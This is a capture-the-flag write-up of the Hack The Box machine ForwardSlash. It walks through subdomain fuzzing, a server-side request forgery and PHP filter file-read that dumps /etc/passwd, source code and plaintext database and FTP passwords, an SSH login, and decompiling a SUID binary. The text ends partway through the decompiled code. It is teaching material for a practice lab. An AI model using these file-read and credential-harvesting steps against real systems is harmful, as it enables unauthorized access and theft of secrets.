HTB ForwardSlash
10.10.10.183 - ForwardSlash
Hack The Box | Created by | Points |
---|---|---|
Link | InfoSecJack & chivato | 40 |
Open ports
luc@kali:~/HTB/ForwardSlash$ nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.183
Port | Service | Version |
---|---|---|
22/tcp | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
80/tcp | http | Apache httpd 2.4.29 ((Ubuntu)) |
HTTP
Browsing to http://10.10.10.183
redirects us to http://forwardslash.htb
which can’t be resolved so we’ll need to add that entry to our /etc/hosts
file.
luc@kali:~/HTB/ForwardSlash$ sudo nano /etc/hosts
...
10.10.10.183 forwardslash.htb
We can see that this website is defaced and that XML
and Automatic FTP Logins
were used.
luc@kali:~/HTB/ForwardSlash$ gobuster dir -u http://forwardslash.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://forwardslash.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,asp,aspx,jsp,txt
[+] Timeout: 10s
===============================================================
2020/07/08 11:15:32 Starting gobuster
===============================================================
/index.php (Status: 200)
/note.txt (Status: 200)
Progress: 69306 / 220561 (31.42%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/07/08 11:26:07 Finished
===============================================================
Running Gobuster
on this website shows a note.txt
file.
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name...
Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.
-chiv
Port 80 is the only open HTTP
port so we can assume virtual host routing is used.
luc@kali:~/HTB/ForwardSlash$ wfuzz -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.forwardslash.htb" --hw 0 http://10.10.10.183
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.183/
Total requests: 4997
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000055: 302 0 L 6 W 33 Ch "backup"
000000690: 400 12 L 53 W 422 Ch "gc._msdcs"
Total time: 6.907552
Processed Requests: 4997
Filtered Requests: 4995
Requests/sec.: 723.4111
Wfuzz
finds backup.forwardslash.htb
so we’ll update /etc/hosts
.
luc@kali:~/HTB/ForwardSlash$ sudo nano /etc/hosts
...
10.10.10.183 forwardslash.htb backup.forwardslash.htb
We’ve the option to login and to create an account. We’ll create an account test
with password test123
. We’re shown the option to change our profile picture, but it’s disabled after the hack.
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px"><br>
<input style="width:200px" type="submit" value="Submit" disabled>
We can look at the source and see that the disabled
attribute has been added. This attribute can be removed and now we can use the form.
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,nl;q=0.8
Cookie: PHPSESSID=u8nnf7pampis528hfg56mqnn57
Connection: close
url=http%3A%2F%2F10.10.14.11%3A8000%2Flogo.png
luc@kali:~/HTB/ForwardSlash$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.183 - - [08/Jul/2020 12:34:12] code 404, message File not found
10.10.10.183 - - [08/Jul/2020 12:34:12] "GET /logo.png HTTP/1.0" 404 -
Hosting our own webserver and requesting a file from that webserver shows that a GET
request is done to the URL. This shows that the form is only disabled on the front end and that the backend is still processing the request.
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
...
url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
Editing the value in the url parameter to file:///etc/passwd
will load /etc/passwd
on the webserver. This gives us all users on the machine, root
, pain
and chiv
.
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
...
url=php://filter/convert.base64-encode/resource=profilepicture.php
PD9waHAKLy8gSW5pdGlhbGl6ZSB0aGUgc2Vzc2lvbgpzZXNzaW9uX3N0YXJ0KCk7CgovLyBDaGVjayBpZiB0aGUgdXNlciBpcyBsb2dnZWQgaW4sIGlmIG5vdCB0aGVuIHJlZGlyZWN0IGhpbSB0byBsb2dpbiBwYWdlCmlmKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSl7CiAgICBoZWFkZXIoImxvY2F0aW9uOiBsb2dpbi5waHAiKTsKICAgIGV4aXQ7Cn0KLyoKaWYgKGlzc2V0KCRfR0VUWydzdWNjZXNzJ10pKXsKCWVjaG8gPGgxPlByb2ZpbGUgUGljdHVyZSBDaGFuZ2UgU3VjY2Vzc2Z1bGx5ITwvaDE+OwoJZXhpdDsKfQoqLwo/Pgo8IURPQ1RZUEUgaHRtbD4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8dGl0bGU+V2VsY29tZTwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImJvb3RzdHJhcC5jc3MiPgogICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KICAgICAgICBib2R5eyBmb250OiAxNHB4IHNhbnMtc2VyaWY7IHRleHQtYWxpZ246IGNlbnRlcjsgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9InBhZ2UtaGVhZGVyIj4KICAgICAgICA8aDE+Q2hhbmdlIHlvdXIgUHJvZmlsZSBQaWN0dXJlITwvaDE+Cgk8Zm9udCBzdHlsZT0iY29sb3I6cmVkIj5UaGlzIGhhcyBhbGwgYmVlbiBkaXNhYmxlZCB3aGlsZSB3ZSB0cnkgdG8gZ2V0IGJhY2sgb24gb3VyIGZlZXQgYWZ0ZXIgdGhlIGhhY2suPGJyPjxiPi1QYWluPC9iPjwvZm9udD4KICAgIDwvZGl2Pgo8Zm9ybSBhY3Rpb249Ii9wcm9maWxlcGljdHVyZS5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgVVJMOgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmwiIGRpc2FibGVkIHN0eWxlPSJ3aWR0aDo2MDBweCI+PGJyPgogICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6MjAwcHgiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgZGlzYWJsZWQ+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgewogICAgICAgICR1cmwgPSAnaHR0cDovL2JhY2t1cC5mb3J3YXJkc2xhc2guaHRiL2FwaS5waHAnOwogICAgICAgICRkYXRhID0gYXJyYXkoJ3VybCcgPT4gJF9QT1NUWyd1cmwnXSk7CgogICAgICAgICRvcHRpb25zID0gYXJyYXkoCiAgICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICdoZWFkZXInICA9PiAiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIiwKICAgICAgICAgICAgICAgICAgICAgICAgJ21ldGhvZCcgID0+ICdQT1NUJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+IGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpCiAgICAgICAgICAgICAgICApCiAgICAgICAgKTsKICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkb3B0aW9ucyk7CiAgICAgICAgJHJlc3VsdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICAgICAgZWNobyAkcmVzdWx0OwoJZXhpdDsKfQo/Pgo=
luc@kali:~/HTB/ForwardSlash$ mkdir backup-source
luc@kali:~/HTB/ForwardSlash$ cd backup-source/
luc@kali:~/HTB/ForwardSlash/backup-source$ echo 'PD9waHAKLy8gSW5pdGlhbGl6ZSB0aGUgc2Vzc2lvbgpzZXNzaW9uX3N0YXJ0KCk7CgovLyBDaGVjayBpZiB0aGUgdXNlciBpcyBsb2dnZWQgaW4sIGlmIG5vdCB0aGVuIHJlZGlyZWN0IGhpbSB0byBsb2dpbiBwYWdlCmlmKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSl7CiAgICBoZWFkZXIoImxvY2F0aW9uOiBsb2dpbi5waHAiKTsKICAgIGV4aXQ7Cn0KLyoKaWYgKGlzc2V0KCRfR0VUWydzdWNjZXNzJ10pKXsKCWVjaG8gPGgxPlByb2ZpbGUgUGljdHVyZSBDaGFuZ2UgU3VjY2Vzc2Z1bGx5ITwvaDE+OwoJZXhpdDsKfQoqLwo/Pgo8IURPQ1RZUEUgaHRtbD4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8dGl0bGU+V2VsY29tZTwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImJvb3RzdHJhcC5jc3MiPgogICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KICAgICAgICBib2R5eyBmb250OiAxNHB4IHNhbnMtc2VyaWY7IHRleHQtYWxpZ246IGNlbnRlcjsgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9InBhZ2UtaGVhZGVyIj4KICAgICAgICA8aDE+Q2hhbmdlIHlvdXIgUHJvZmlsZSBQaWN0dXJlITwvaDE+Cgk8Zm9udCBzdHlsZT0iY29sb3I6cmVkIj5UaGlzIGhhcyBhbGwgYmVlbiBkaXNhYmxlZCB3aGlsZSB3ZSB0cnkgdG8gZ2V0IGJhY2sgb24gb3VyIGZlZXQgYWZ0ZXIgdGhlIGhhY2suPGJyPjxiPi1QYWluPC9iPjwvZm9udD4KICAgIDwvZGl2Pgo8Zm9ybSBhY3Rpb249Ii9wcm9maWxlcGljdHVyZS5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgVVJMOgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmwiIGRpc2FibGVkIHN0eWxlPSJ3aWR0aDo2MDBweCI+PGJyPgogICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6MjAwcHgiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgZGlzYWJsZWQ+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgewogICAgICAgICR1cmwgPSAnaHR0cDovL2JhY2t1cC5mb3J3YXJkc2xhc2guaHRiL2FwaS5waHAnOwogICAgICAgICRkYXRhID0gYXJyYXkoJ3VybCcgPT4gJF9QT1NUWyd1cmwnXSk7CgogICAgICAgICRvcHRpb25zID0gYXJyYXkoCiAgICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICdoZWFkZXInICA9PiAiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIiwKICAgICAgICAgICAgICAgICAgICAgICAgJ21ldGhvZCcgID0+ICdQT1NUJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+IGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpCiAgICAgICAgICAgICAgICApCiAgICAgICAgKTsKICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkb3B0aW9ucyk7CiAgICAgICAgJHJlc3VsdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICAgICAgZWNobyAkcmVzdWx0OwoJZXhpdDsKfQo/Pgo=' | base64 -d > profilepicture.php
<?php
// Initialize the session
session_start();
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
header("location: login.php");
exit;
}
/*
if (isset($_GET['success'])){
echo <h1>Profile Picture Change Successfully!</h1>;
exit;
}
*/
?>
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Change your Profile Picture!</h1>
<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
</div>
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px"><br>
<input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
<?php
if (isset($_POST['url'])) {
$url = 'http://backup.forwardslash.htb/api.php';
$data = array('url' => $_POST['url']);
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($data)
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
echo $result;
exit;
}
?>
We can use a PHP filter to read source code and we can see that a call is made to http://backup.forwardslash.htb/api.php
with the parameter url
to load a file.
POST /api.php HTTP/1.1
Host: backup.forwardslash.htb
...
url=php://filter/convert.base64-encode/resource=api.php
PD9waHAKCnNlc3Npb25fc3RhcnQoKTsKCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgewoKCWlmKCghaXNzZXQoJF9TRVNTSU9OWyJsb2dnZWRpbiJdKSB8fCAkX1NFU1NJT05bImxvZ2dlZGluIl0gIT09IHRydWUpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CgkJZWNobyAiVXNlciBtdXN0IGJlIGxvZ2dlZCBpbiB0byB1c2UgQVBJIjsKCQlleGl0OwoJfQoKCSRwaWN0dXJlID0gZXhwbG9kZSgiLS0tLS1vdXRwdXQtLS0tLTxicj4iLCBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3VybCddKSk7CglpZiAoc3RycG9zKCRwaWN0dXJlWzBdLCAic2Vzc2lvbl9zdGFydCgpOyIpICE9PSBmYWxzZSkgewoJCWVjaG8gIlBlcm1pc3Npb24gRGVuaWVkOyBub3QgdGhhdCB3YXkgOykiOwoJCWV4aXQ7Cgl9CgllY2hvICRwaWN0dXJlWzBdOwoJZXhpdDsKfQo/Pgo8IS0tIFRPRE86IHJlbW92ZWQgYWxsIHRoZSBjb2RlIHRvIGFjdHVhbGx5IGNoYW5nZSB0aGUgcGljdHVyZSBhZnRlciBiYWNrc2xhc2ggZ2FuZyBhdHRhY2tlZCB1cywgc2ltcGx5IGVjaG9zIGFzIGRlYnVnIG5vdyAtLT4K
luc@kali:~/HTB/ForwardSlash/backup-source$ echo -n 'PD9waHAKCnNlc3Npb25fc3RhcnQoKTsKCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgewoKCWlmKCghaXNzZXQoJF9TRVNTSU9OWyJsb2dnZWRpbiJdKSB8fCAkX1NFU1NJT05bImxvZ2dlZGluIl0gIT09IHRydWUpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CgkJZWNobyAiVXNlciBtdXN0IGJlIGxvZ2dlZCBpbiB0byB1c2UgQVBJIjsKCQlleGl0OwoJfQoKCSRwaWN0dXJlID0gZXhwbG9kZSgiLS0tLS1vdXRwdXQtLS0tLTxicj4iLCBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3VybCddKSk7CglpZiAoc3RycG9zKCRwaWN0dXJlWzBdLCAic2Vzc2lvbl9zdGFydCgpOyIpICE9PSBmYWxzZSkgewoJCWVjaG8gIlBlcm1pc3Npb24gRGVuaWVkOyBub3QgdGhhdCB3YXkgOykiOwoJCWV4aXQ7Cgl9CgllY2hvICRwaWN0dXJlWzBdOwoJZXhpdDsKfQo/Pgo8IS0tIFRPRE86IHJlbW92ZWQgYWxsIHRoZSBjb2RlIHRvIGFjdHVhbGx5IGNoYW5nZSB0aGUgcGljdHVyZSBhZnRlciBiYWNrc2xhc2ggZ2FuZyBhdHRhY2tlZCB1cywgc2ltcGx5IGVjaG9zIGFzIGRlYnVnIG5vdyAtLT4K' | base64 -d > api.php
<?php
session_start();
if (isset($_POST['url'])) {
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true) && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
echo "User must be logged in to use API";
exit;
}
$picture = explode("-----output-----<br>", file_get_contents($_POST['url']));
if (strpos($picture[0], "session_start();") !== false) {
echo "Permission Denied; not that way ;)";
exit;
}
echo $picture[0];
exit;
}
?>
<!-- TODO: removed all the code to actually change the picture after backslash gang attacked us, simply echos as debug now -->
Loading files from the server via the backup.forwardslash.htb/api.php
page is cleaner because we don’t get the HTML page for the profile picture webpage.
luc@kali:~/HTB/ForwardSlash/backup-source$ wfuzz -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -b 'PHPSESSID=u8nnf7pampis528hfg56mqnn57' -d 'url=php://filter/convert.base64-encode/resource=FUZZ.php' --hw 0 http://backup.forwardslash.htb/api.php
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://backup.forwardslash.htb/api.php
Total requests: 220560
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000015: 200 0 L 1 W 1392 Ch "index"
000000053: 200 0 L 1 W 6112 Ch "login"
000000065: 200 0 L 1 W 6872 Ch "register"
000000258: 200 0 L 1 W 1632 Ch "welcome"
000001026: 200 0 L 1 W 768 Ch "api"
000001111: 200 0 L 1 W 1656 Ch "environment"
000001225: 200 0 L 1 W 596 Ch "logout"
000001490: 200 0 L 1 W 760 Ch "config"
000004802: 200 0 L 1 W 3344 Ch "hof"
Total time: 375.2913
Processed Requests: 220560
Filtered Requests: 220551
Requests/sec.: 587.7034
Wfuzz
shows that index.php
, login.php
, register.php
, welcome.php
, api.php
, environment.php
, logout.php
, config.php
and hof.php
exist in the current working directory.
luc@kali:~/HTB/ForwardSlash/backup-source$ curl http://backup.forwardslash.htb/api.php -d 'url=php://filter/convert.base64-encode/resource=config.php' -b 'PHPSESSID=u8nnf7pampis528hfg56mqnn57' -s | base64 -d > config.php
<?php
//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
config.php
sounds the most interesting so we’ll take a look at that first and we find that the old config file has been backed up. We do get the database password for www-data
and its password.
luc@kali:~/HTB/ForwardSlash$ gobuster dir -u http://backup.forwardslash.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://backup.forwardslash.htb
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: asp,aspx,jsp,txt,html,php
[+] Timeout: 10s
===============================================================
2020/07/08 13:39:02 Starting gobuster
===============================================================
/index.php (Status: 302)
/login.php (Status: 200)
/register.php (Status: 200)
/welcome.php (Status: 302)
/dev (Status: 301)
/api.php (Status: 200)
/environment.php (Status: 302)
/logout.php (Status: 302)
/config.php (Status: 200)
/hof.php (Status: 302)
Progress: 9175 / 220561 (4.16%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/07/08 13:40:28 Finished
===============================================================
Running Gobuster
on the backup.forwardslash.htb
site shows a /dev
directory. Browsing to http://backup.forwardslash.htb/dev/
shows 403 Access Denied Access Denied From 10.10.14.11
but we can export the source code for this website via the vulnerability we found earlier.
luc@kali:~/HTB/ForwardSlash/backup-source$ mkdir dev
luc@kali:~/HTB/ForwardSlash/backup-source$ cd dev/
luc@kali:~/HTB/ForwardSlash/backup-source/dev$ curl http://backup.forwardslash.htb/api.php -d 'url=php://filter/convert.base64-encode/resource=dev/index.php' -b 'PHPSESSID=u8nnf7pampis528hfg56mqnn57' -s | base64 -d > index.php
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}
?>
This source code shows the FTP credentials for chiv
and the password N0bodyL1kesBack/
.
luc@kali:~/HTB/ForwardSlash/backup-source/dev$ ssh chiv@forwardslash.htb
chiv@forwardslash.htb's password: N0bodyL1kesBack/
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 8 11:48:46 UTC 2020
System load: 0.06 Processes: 171
Usage of /: 32.7% of 19.56GB Users logged in: 0
Memory usage: 21% IP address for ens33: 10.10.10.183
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
16 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jul 8 11:48:13 2020 from 10.10.14.11
chiv@forwardslash:~$ id
uid=1001(chiv) gid=1001(chiv) groups=1001(chiv)
Privilege escalation
Chiv -> Pain
chiv@forwardslash:~$ find / -name 'user.txt' 2>/dev/null
/home/pain/user.txt
chiv@forwardslash:~$ cat /home/pain/user.txt
cat: /home/pain/user.txt: Permission denied
We’re logged in as chiv, but we can’t read the user.txt
file yet so we need to get access to pain
(or root
).
chiv@forwardslash:~$ find / -perm /4000 2>/dev/null
...
/usr/bin/backup
...
chiv@forwardslash:~$ ls -lsa /usr/bin/backup
16 -r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 /usr/bin/backup
/usr/bin/backup
can be execute by chiv
and will run as pain
.
chiv@forwardslash:~$ /usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 12:09:08
ERROR: 5bd78d99f7e873c49ef7204a03015040 Does Not Exist or Is Not Accessible By Me, Exiting...
Executing this file shows the current time and an error message.
luc@kali:~/HTB/ForwardSlash$ scp chiv@forwardslash.htb:/usr/bin/backup .
chiv@forwardslash.htb's password: N0bodyL1kesBack/
backup 100% 13KB 504.0KB/s 00:00
We’ll download the binary to our Kali machine and import it into Ghidra
.
undefined8 main(void)
{
__uid_t __uid;
__gid_t __gid;
int iVar1;
tm *ptVar2;
size_t sVar3;
long in_FS_OFFSET;
char local_75;
time_t local_68;
char *local_60;
char *local_58;
FILE *local_50;
ulong local_48;
ulong local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
long local_20;
char *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__uid = getuid();
__gid = getgid();
puts(banner);
local_68 = time((time_t *)0x0);
ptVar2 = localtime(&local_68);
local_48 = *(ulong *)ptVar2;
local_40 = *(ulong *)&ptVar2->tm_hour;
local_38 = *(undefined8 *)&ptVar2->tm_mon;
local_30 = *(undefined8 *)&ptVar2->tm_wday;
local_28 = *(undefined8 *)&ptVar2->tm_isdst;
local_20 = ptVar2->tm_gmtoff;
local_18 = ptVar2->tm_zone;
local_60 = (char *)malloc(0xd);
sprintf(local_60,"%02d:%02d:%02d",local_40 & 0xffffffff,local_48 >> 0x20,local_48 & 0xffffffff);
sVar3 = strlen(local_60);
local_58 = (char *)str2md5(local_60,sVar3 & 0xffffffff,sVar3 & 0xffffffff);
printf("Current Time: %s\n",local_60);
setuid(0x3ea);
setgid(0x3ea);
iVar1 = access(local_58,0);
if (iVar1 == -1) {
printf("ERROR: %s Does Not Exist or Is Not Accessible By Me, Exiting...\n",local_58);
}
else {
local_50 = fopen(local_58,"r");
if (local_50 == (FILE *)0x0) {
puts("File cannot be opened.");
}
else {
iVar1 = fgetc(local_50);
local_75 = (char)iVar1;
while (local_75 != -1) {
putchar((int)local_75);
iVar1 = fgetc(local_50);
local_75 = (char)iVar1;
}
fclose(local_50);
}
}
setuid(__uid);
